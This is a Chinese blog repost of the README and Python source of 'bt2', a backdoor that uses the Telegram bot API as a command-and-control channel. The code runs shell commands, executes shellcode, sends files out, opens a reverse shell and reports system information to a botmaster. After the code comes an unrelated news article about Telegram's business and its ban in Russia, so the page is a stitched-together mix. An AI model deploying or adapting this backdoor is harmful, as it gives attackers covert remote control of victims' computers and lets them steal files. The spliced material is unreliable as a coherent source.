• bt2——基于telegram的C2


    https://github.com/blazeinfosec/bt2

    cahtbot——基于telegram的C2

    bt2: Blaze Telegram Backdoor Toolkit

    bt2 is a Python-based backdoor in form of a IM bot that uses the infrastructure and the feature-rich bot API provided by Telegram, slightly repurposing its communication platform to act as a C&C.

    Dependencies

    Installation

    $ sudo pip install telepot
    $ sudo pip install requests
    

    PS: Telepot requires minimum of requests 2.9.1 to work properly.

    Limitations

    Currently the shellcode execution component is dependent on ctypes and works only on Windows platforms.

    Usage

    Before using this code one has to register a bot with Telegram. This can be done by talking to Botfather - after setting up the name for the bot and username you will get a key that will be used to interact with the bot API.

    For more information see Telegram bots: an introduction for developers

    Also, it is highly advisable to replace 'botmaster ID' with the ID of the master, locking the communication between the bot to the specific ID of the botmaster to avoid abuse from unauthorized parties.

    $ python bt2.py
    

    Sample screenshot

    看了下源码实现,就是利用聊聊特性进行c2控制:

    import os
    import pprint
    import sys
    import time
    
    from backdoorutils import *
    
    try:
        import telepot
    except ImportError:
        print "[!] Module 'telepot' not found. Please install it before continuing."
        sys.exit(-1)
    
    API_TOKEN = 'YOUR_API_KEY_HERE'
    BOTMASTER_ID = 00000000
    VERBOSE = True
    
    bot = telepot.Bot(API_TOKEN)
    
    
    def handle_message(msg):
        content_type, chat_type, chat_id = telepot.glance(msg)
        if VERBOSE:
            pprint.pprint(msg)
    
        # this conditional is used to parse commands and execute them accordingly
        if content_type == 'text':
            received_command = msg['text']
    
            type_command, argument_command = parse_command(received_command)
    
            if type_command == "command":
                proc = os.popen(argument_command)
                send_message(proc.read())
    
            elif type_command == "shellcode":
                response_shellcode = execute_shellcode(argument_command)
                send_message(response_shellcode)
    
            elif type_command == "sysinfo":
                sysinfo = get_system_info()
                send_message(sysinfo)
    
            elif type_command == "whoami":
                current_user = whoami()
                send_message(current_user)
    
            elif type_command == "upload":
                send_message(uploadfunctionality_message)
    
            elif type_command == "download":
                send_file(chat_id, argument_command)
    
            elif type_command == "reverseshell":
                ip, port = argument_command.split()
                reverse_shell(ip, port)
    
            # KILL NOT WORKING PROPERLY
            elif type_command == "kill":
                send_message(suicide_message)
                sys.exit(0)
    
            elif type_command == "help":
                send_message(help_message)
    
            elif type_command == "unknown":
                unknown_command = "[!] ERROR: Unknown command: %s" % argument_command
                send_message(unknown_command)
    
            else:
                print "[!] The program should never ever reach this point."
                return
    
        # this conditional is used to receive files from the client
        elif content_type == 'document':
            file_id = msg['document']['file_id']
            filename = msg['document']['file_name']
            final_filename = filename
    
            if not os.path.exists('./uploads'):
                try:
                    os.makedirs('./uploads')
                    final_filename = './uploads/' + filename
                except OSError as err:
                    err_msg = "[!] ERROR: Could not create directory ./uploads. Saving in the current directory."
                    send_message(err_msg)
    
            bot.downloadFile(file_id, final_filename)
    
    
    def send_message(msg):
        try:
            bot.sendMessage(BOTMASTER_ID, msg)
        except Exception as err:
            print "[!] Error sending message: %s" % str(err)
    
        return
    
    
    def send_file(chat_id, filename):
        try:
            fd = open(filename, "rb")
            # use sendChatAction to page the client we will send a file
            bot.sendChatAction(chat_id, 'upload_document')
            resp = bot.sendDocument(chat_id, fd)
            file_id = resp['document']['file_id']
            bot.sendDocument(chat_id, file_id)
        except IOError as err:
            err_msg = "[!] ERROR: Opening file '%s': %s" % (filename, err)
            send_message(err_msg)
    
        return
    
    
    def main():
        try:
            '''
            Older versions of Telepot used notifyOnMessage, newer versions use
            the function message_loop. Uncomment it if using an older version.
            '''
            bot.message_loop(handle_message)
            print bot.getMe()
        except Exception as err:
            print err
    
        while True:
            time.sleep(10)
    
    
    if __name__ == '__main__':
        main()
    

      

    telegram与其他即时通讯软件有何区别? 常规聊天和群聊只是该即时通讯软件基础架构的一小部分。Telegram上可以建立绑定特定用户设备的秘密聊天室,即数据不会保存到即时通讯软件服务器上,根据用户的意愿可以在一段时间后消失。聊天中出现的任何照片和视频都可以设定计时器,到期后数据会自动销毁。可以截屏,但即时通讯软件会提示用户。 与普通即时通讯软件社区不同,Telegram中是频道。其主要区别在于完全没有算法。根据Telegram的方法,用户自己控制自己的媒体使用,即所有信息都按顺序在频道中发布。或通过好友和其他频道转发的信息,或通过外部信息来源了解新的感兴趣的频道。管理频道既可公开,也可匿名,可以对信息发表评论,公共聊天室则绑定频道。 专家:俄在中国互联网排名居中游参考意义不大   Telegram还有个功能,即根据地理定位交友。例如,您在另一个城市感到无聊,想结交新朋友。点击“联系人”,选择“查找附近的人”就可以看到您附近的用户(打开这一功能的用户)。此外,用户会定期针对特定定位建立聊天室(如博物馆、城市广场或酒吧),可以进入这样的聊天室,提问或与附近的人聊天。 Telegram中还有许多机器人在运行,可以为您计算美元汇率,直接在应用程序中为您播放任何歌曲,为您创建个人新闻提要等等。Telegram还有便捷的桌面客户端和网络版,与WhatsApp和Viber不同,不需要通讯频道连接到智能手机。 Telegram属于谁? 根据官方资料,Telegram是俄罗斯热门社交网站VK的创始人帕维尔·杜罗夫和他的哥哥尼古拉开发的。其首个版本2013年8月在AppStore发布。帕维尔·杜罗夫至今坚称Telegram是靠其个人投资(VK收入)发展壮大的。2016年接受《财富》杂志采访时他表示,自己每月花100万美元支持Telegram。2014年帕维尔·杜罗夫永久离开VK首席执行官职位,出售了持有的公司所有股份并离开了俄罗斯,称这样做的理由是2013年该社交网络股东变更。此前股东之一曾指责杜罗夫以牺牲VK的利益为代价做自己的Telegram项目。 Telegram在俄罗斯是如何被封杀的? 视同国内企业 莫斯科将采购华为设备   2017年俄联邦安全局要求Telegram提供涉嫌准备恐怖袭击用户信息往来的秘钥。Telegram公司代表拒绝分享用户数据,称这在技术上是不可能的。因此,2018年俄联邦通信监管局(监管俄罗斯互联网遵守法律的机构)正式在俄罗斯境内封杀了Telegram。不过,该即时通讯软件还可以通过VPNFQ使用,而且很快开发人员就教会了用户不连接任何第三方服务即可绕过封禁使用该软件的方法,只不过偶尔会出现错误。 2020年6月俄联邦通信监管局解除对Telegram的封禁,称监管局对Telegram创始人表达反恐和反极端主义意愿表示赞赏。杜罗夫说,公司开发出保持信息私密性的同时防止恐怖行动的系统。 Telegram未来将会如何? 2020年12月帕维尔·杜罗夫宣布,自2021年起 Telegram将开始盈利。他说,这一进程不会强加收费,所有现有服务仍将对用户免费,同时聊天室也不会插入任何广告。杜罗夫计划通过向企业团队和用户提供附加功能来盈利,例如提供收费的整套发帖服务。杜罗夫在自己的Telegram频道中说:“我们将为确保用户舒适性和私密性的频道提供自己的广告平台,这部分收入可以覆盖服务器和流量支出。”目前平台未对各频道的广告进行调控。 发表这一声明后,今年1月一些西方投资者提出收购其5-10%的股份,估值为300亿美元。据The Bell援引其内部消息来源报道,杜罗夫拒绝了这些收购邀约。此外,据The Information报道,杜罗夫还提出了另一项借款10亿美元的提议,但尚未做出最终决定。The Information认为,公司如果要进行首次公开募股(IPO),可能会债转股,资金则用于Telegram上市前扩大业务和融资。 Telegram业务扩大并可能首次公开募股是否意味着Telegram一切顺利? 瞄准电子商务 Yandex收购俄最大在线银行   并不全是这样。似乎存在Telegram应用程序被从AppStore中删掉的风险,届时扩大用户量会困难得多。据《华盛顿邮报》报道,1月17日美国非营利机构“更安全网络联盟”(Coalition for a Safer Web)对苹果(Apple)公司提起诉讼,要求其从AppStore中删除即时通讯软件Telegram。该机构认为,1月6日华盛顿发生国会大厦暴乱前夕Telegram上传播了呼吁参加极端主义行动的消息,且Telegram并未采取任何措施拦截这些消息。杜罗夫暂时尚未对该控诉发表评论。 帕维尔·杜罗夫本人也曾多次批评苹果公司,批评的对象是苹果公司对在AppStore中销售第三方应用程序抽取30%的佣金。杜罗夫说,苹果公司对部分应用程序进行审查,监视用户并迫使应用程序开发企业植入更多广告。此外,去年1月杜罗夫对苹果和谷歌(Google)两家公司从其应用程序商店中删除即将离任的美国总统特朗普的支持者中非常受欢迎的应用程序Parler表示谴责。
    来源:«透视俄罗斯» - http://tsrus.cn/keji/2021/02/01/671421

  • 相关阅读:
    SpringMVC快速使用——基于注解
    SpringMVC快速使用——基于XML配置和Servlet3.0
    Logback
    软件设计原则
    常用软件官方网站和下载地址记录
    刚刚开通的博客
    Layui 上传附件前条件判断
    js 重置input内容的两种情况
    Java 集合与数组相互转换
    使用Freemarker输出word文档到浏览器与本地
  • 原文地址:https://www.cnblogs.com/bonelee/p/15205120.html
Copyright © 2020-2023  润新知